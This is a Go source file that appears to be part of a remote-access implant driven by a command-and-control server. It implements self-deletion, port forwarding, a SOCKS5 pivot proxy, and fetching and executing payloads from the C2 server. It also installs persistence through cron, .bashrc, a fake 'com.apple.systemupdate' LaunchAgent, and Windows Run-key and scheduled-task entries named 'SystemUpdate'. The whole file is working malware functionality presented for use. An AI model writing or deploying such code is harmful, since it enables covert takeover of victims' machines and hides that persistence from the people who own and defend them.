func taskSleep(payload map[string]interface{}) (string, string, string, string) {
|
||
s, _ := payload["seconds"].(float64)
|
||
j, _ := payload["jitter"].(float64)
|
||
currentSleep = int(s)
|
||
currentJit = int(j)
|
||
return fmt.Sprintf("sleep set to %ds (jitter %d%%)", currentSleep, currentJit), "", "", ""
|
||
}
|
||
|
||
func taskSelfDelete() (string, string, string, string) {
|
||
exe := exeSelf()
|
||
if exe == "" || exe == "unknown" {
|
||
return "", "", "", "cannot determine self path"
|
||
}
|
||
go func() {
|
||
time.Sleep(2 * time.Second)
|
||
os.Remove(exe)
|
||
}()
|
||
os.Exit(0)
|
||
return "", "", "", ""
|
||
}
|
||
|
||
// --- Port Forward ---
|
||
|
||
var (
|
||
portFwdMu sync.Mutex
|
||
portFwdConns = make(map[string]net.Listener)
|
||
)
|
||
|
||
func taskPortForward(payload map[string]interface{}) (string, string, string, string) {
|
||
action, _ := payload["action"].(string)
|
||
localPort := int(getFloat(payload, "local_port"))
|
||
remoteHost, _ := payload["remote_host"].(string)
|
||
remotePort := int(getFloat(payload, "remote_port"))
|
||
|
||
if action == "stop" {
|
||
key := fmt.Sprintf("%d", localPort)
|
||
portFwdMu.Lock()
|
||
if ln, ok := portFwdConns[key]; ok {
|
||
ln.Close()
|
||
delete(portFwdConns, key)
|
||
}
|
||
portFwdMu.Unlock()
|
||
return fmt.Sprintf("port forward on :%d stopped", localPort), "", "", ""
|
||
}
|
||
|
||
if localPort <= 0 || remoteHost == "" || remotePort <= 0 {
|
||
return "", "", "", "local_port, remote_host, remote_port required"
|
||
}
|
||
|
||
ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort))
|
||
if err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
key := fmt.Sprintf("%d", localPort)
|
||
portFwdMu.Lock()
|
||
portFwdConns[key] = ln
|
||
portFwdMu.Unlock()
|
||
|
||
go func() {
|
||
for {
|
||
conn, err := ln.Accept()
|
||
if err != nil {
|
||
return
|
||
}
|
||
go func(c net.Conn) {
|
||
defer c.Close()
|
||
remote, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", remoteHost, remotePort), 10*time.Second)
|
||
if err != nil {
|
||
return
|
||
}
|
||
defer remote.Close()
|
||
done := make(chan struct{}, 2)
|
||
go func() { io.Copy(remote, c); done <- struct{}{} }()
|
||
go func() { io.Copy(c, remote); done <- struct{}{} }()
|
||
<-done
|
||
}(conn)
|
||
}
|
||
}()
|
||
return fmt.Sprintf("port forward 127.0.0.1:%d -> %s:%d started", localPort, remoteHost, remotePort), "", "", ""
|
||
}
|
||
|
||
// --- SOCKS5 Proxy ---
|
||
|
||
var (
|
||
socksMu sync.Mutex
|
||
socksListener net.Listener
|
||
)
|
||
|
||
func taskSocksStart(payload map[string]interface{}) (string, string, string, string) {
|
||
port := int(getFloat(payload, "port"))
|
||
if port <= 0 {
|
||
port = 1080
|
||
}
|
||
|
||
socksMu.Lock()
|
||
if socksListener != nil {
|
||
socksMu.Unlock()
|
||
return "", "", "", "socks proxy already running"
|
||
}
|
||
socksMu.Unlock()
|
||
|
||
ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port))
|
||
if err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
socksMu.Lock()
|
||
socksListener = ln
|
||
socksMu.Unlock()
|
||
|
||
go func() {
|
||
for {
|
||
conn, err := ln.Accept()
|
||
if err != nil {
|
||
return
|
||
}
|
||
go handleSocks5(conn)
|
||
}
|
||
}()
|
||
return fmt.Sprintf("SOCKS5 proxy started on 127.0.0.1:%d", port), "", "", ""
|
||
}
|
||
|
||
func taskSocksStop(payload map[string]interface{}) (string, string, string, string) {
|
||
socksMu.Lock()
|
||
if socksListener != nil {
|
||
socksListener.Close()
|
||
socksListener = nil
|
||
}
|
||
socksMu.Unlock()
|
||
return "SOCKS5 proxy stopped", "", "", ""
|
||
}
|
||
|
||
func handleSocks5(conn net.Conn) {
|
||
defer conn.Close()
|
||
buf := make([]byte, 258)
|
||
// Auth negotiation
|
||
n, err := conn.Read(buf)
|
||
if err != nil || n < 3 || buf[0] != 0x05 {
|
||
return
|
||
}
|
||
conn.Write([]byte{0x05, 0x00}) // no auth
|
||
|
||
// Request
|
||
n, err = conn.Read(buf)
|
||
if err != nil || n < 7 || buf[0] != 0x05 || buf[1] != 0x01 {
|
||
conn.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
|
||
return
|
||
}
|
||
|
||
var target string
|
||
switch buf[3] {
|
||
case 0x01: // IPv4
|
||
if n < 10 {
|
||
return
|
||
}
|
||
target = fmt.Sprintf("%d.%d.%d.%d:%d", buf[4], buf[5], buf[6], buf[7],
|
||
int(buf[8])<<8|int(buf[9]))
|
||
case 0x03: // Domain
|
||
domainLen := int(buf[4])
|
||
if n < 5+domainLen+2 {
|
||
return
|
||
}
|
||
domain := string(buf[5 : 5+domainLen])
|
||
port := int(buf[5+domainLen])<<8 | int(buf[5+domainLen+1])
|
||
target = fmt.Sprintf("%s:%d", domain, port)
|
||
case 0x04: // IPv6
|
||
if n < 22 {
|
||
return
|
||
}
|
||
ip := net.IP(buf[4:20])
|
||
port := int(buf[20])<<8 | int(buf[21])
|
||
target = fmt.Sprintf("[%s]:%d", ip.String(), port)
|
||
default:
|
||
conn.Write([]byte{0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
|
||
return
|
||
}
|
||
|
||
remote, err := net.DialTimeout("tcp", target, 10*time.Second)
|
||
if err != nil {
|
||
conn.Write([]byte{0x05, 0x05, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
|
||
return
|
||
}
|
||
defer remote.Close()
|
||
|
||
// Success reply
|
||
conn.Write([]byte{0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
|
||
|
||
done := make(chan struct{}, 2)
|
||
go func() { io.Copy(remote, conn); done <- struct{}{} }()
|
||
go func() { io.Copy(conn, remote); done <- struct{}{} }()
|
||
<-done
|
||
}
|
||
|
||
// --- Load Assembly (in-memory exec) ---
|
||
|
||
func taskLoadAssembly(payload map[string]interface{}) (string, string, string, string) {
|
||
b64Data, _ := payload["data"].(string)
|
||
args, _ := payload["args"].(string)
|
||
|
||
if b64Data == "" {
|
||
fileID, _ := payload["file_id"].(string)
|
||
if fileID == "" {
|
||
return "", "", "", "data (base64) or file_id required"
|
||
}
|
||
asm, err := fetchC2FileByID(fileID)
|
||
if err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
b64Data = base64.StdEncoding.EncodeToString(asm)
|
||
}
|
||
|
||
data, err := base64.StdEncoding.DecodeString(b64Data)
|
||
if err != nil {
|
||
return "", "", "", "decode assembly: " + err.Error()
|
||
}
|
||
|
||
tmpDir := os.TempDir()
|
||
tmpFile := filepath.Join(tmpDir, fmt.Sprintf(".cs_%d", time.Now().UnixNano()))
|
||
if runtime.GOOS == "windows" {
|
||
tmpFile += ".exe"
|
||
}
|
||
if err := os.WriteFile(tmpFile, data, 0700); err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
defer os.Remove(tmpFile)
|
||
|
||
cmdArgs := []string{}
|
||
if args != "" {
|
||
cmdArgs = strings.Fields(args)
|
||
}
|
||
cmd := exec.Command(tmpFile, cmdArgs...)
|
||
cwdMu.Lock()
|
||
cmd.Dir = currentCwd
|
||
cwdMu.Unlock()
|
||
|
||
out, err := cmd.CombinedOutput()
|
||
if err != nil {
|
||
return string(out), "", "", err.Error()
|
||
}
|
||
return string(out), "", "", ""
|
||
}
|
||
|
||
// --- Persistence ---
|
||
|
||
func taskPersist(payload map[string]interface{}) (string, string, string, string) {
|
||
method, _ := payload["method"].(string)
|
||
if method == "" {
|
||
method = "auto"
|
||
}
|
||
exe := exeSelf()
|
||
if exe == "" || exe == "unknown" {
|
||
return "", "", "", "cannot determine self path"
|
||
}
|
||
|
||
switch runtime.GOOS {
|
||
case "linux":
|
||
return persistLinux(exe, method)
|
||
case "darwin":
|
||
return persistDarwin(exe, method)
|
||
case "windows":
|
||
return persistWindows(exe, method)
|
||
default:
|
||
return "", "", "", "persistence not supported on " + runtime.GOOS
|
||
}
|
||
}
|
||
|
||
func persistLinux(exe, method string) (string, string, string, string) {
|
||
if method == "auto" || method == "cron" {
|
||
cronEntry := fmt.Sprintf("@reboot %s &\n", exe)
|
||
out, err := runWithTimeout(fmt.Sprintf("(crontab -l 2>/dev/null; echo '%s') | sort -u | crontab -", strings.TrimSpace(cronEntry)), 10)
|
||
if err == nil {
|
||
return "persistence installed via cron: " + out, "", "", ""
|
||
}
|
||
}
|
||
if method == "auto" || method == "bashrc" {
|
||
line := fmt.Sprintf("\n(nohup %s &>/dev/null &) # cs\n", exe)
|
||
home, _ := os.UserHomeDir()
|
||
if home != "" {
|
||
f, err := os.OpenFile(filepath.Join(home, ".bashrc"), os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0644)
|
||
if err == nil {
|
||
f.WriteString(line)
|
||
f.Close()
|
||
return "persistence installed via .bashrc", "", "", ""
|
||
}
|
||
}
|
||
}
|
||
return "", "", "", "persistence failed on linux"
|
||
}
|
||
|
||
func persistDarwin(exe, method string) (string, string, string, string) {
|
||
if method == "auto" || method == "launchagent" {
|
||
home, _ := os.UserHomeDir()
|
||
if home == "" {
|
||
return "", "", "", "cannot determine home dir"
|
||
}
|
||
plistDir := filepath.Join(home, "Library", "LaunchAgents")
|
||
os.MkdirAll(plistDir, 0755)
|
||
plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||
<plist version="1.0">
|
||
<dict>
|
||
<key>Label</key><string>com.apple.systemupdate</string>
|
||
<key>ProgramArguments</key><array><string>%s</string></array>
|
||
<key>RunAtLoad</key><true/>
|
||
<key>KeepAlive</key><true/>
|
||
<key>StandardOutPath</key><string>/dev/null</string>
|
||
<key>StandardErrorPath</key><string>/dev/null</string>
|
||
</dict>
|
||
</plist>`, exe)
|
||
plistPath := filepath.Join(plistDir, "com.apple.systemupdate.plist")
|
||
if err := os.WriteFile(plistPath, []byte(plist), 0644); err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
return "persistence installed via LaunchAgent: " + plistPath, "", "", ""
|
||
}
|
||
return "", "", "", "persistence method not supported on darwin"
|
||
}
|
||
|
||
func persistWindows(exe, method string) (string, string, string, string) {
|
||
if method == "auto" || method == "registry" {
|
||
cmd := fmt.Sprintf(`reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "%s" /f`, exe)
|
||
out, err := runWithTimeout(cmd, 10)
|
||
if err == nil {
|
||
return "persistence installed via registry Run key: " + out, "", "", ""
|
||
}
|
||
}
|
||
if method == "auto" || method == "schtasks" {
|
||
cmd := fmt.Sprintf(`schtasks /create /tn "SystemUpdate" /tr "%s" /sc onlogon /rl highest /f`, exe)
|
||
out, err := runWithTimeout(cmd, 10)
|
||
if err == nil {
|
||
return "persistence installed via schtasks: " + out, "", "", ""
|
||
}
|
||
}
|
||
return "", "", "", "persistence failed on windows"
|
||
}
|
||
|
||
func getFloat(m map[string]interface{}, key string) float64 {
|
||
v, _ := m[key].(float64)
|
||
return v
|
||
}
|